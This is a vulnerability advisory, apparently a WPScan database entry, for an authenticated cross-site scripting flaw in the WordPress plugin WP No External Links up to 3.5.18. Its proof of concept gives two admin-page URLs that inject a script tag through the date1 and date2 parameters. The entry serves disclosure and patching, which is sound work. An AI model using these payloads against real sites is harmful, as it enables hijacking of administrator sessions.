WP No External Links <= 3.5.18 – Authenticated Cross-Site Scripting (XSS)

Sign up to our free email alerts service for instant vulnerability notifications!

Proof of Concept
Cross-Site Scripting:

Vulnerable Function: echo
Vulnerable Variable: $_REQUEST['date1'], $_REQUEST['date2']

Vulnerable URLs:

http://vulnerablesite.com/wp-admin/options-general.php?page=wp-noexternallinks%2Fwpnoexternallinks-options.php&action=stats&date1="><script>alert(1)</script>

http://vulnerablesite.com/wp-admin/options-general.php?page=wp-noexternallinks%2Fwpnoexternallinks-options.php&action=stats&date2="><script>alert(1)</script>

Affects Plugin

fixed in version 3.5.19

References

URL http://defensecode.com/advisories/DC-2017-01-022_WordPress_No_External_Links_Plugin_Advisory.pdf

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Neven Biruski
Submitter Website http://www.defensecode.com
Submitter Twitter https://twitter.com/DefenseCode/
Views 94
Verified No
WPVDB ID 8840

Timeline

Publicly Published 2017-05-31 (5 months ago)
Added 2017-06-01 (5 months ago)
Last Updated 2017-06-01 (5 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.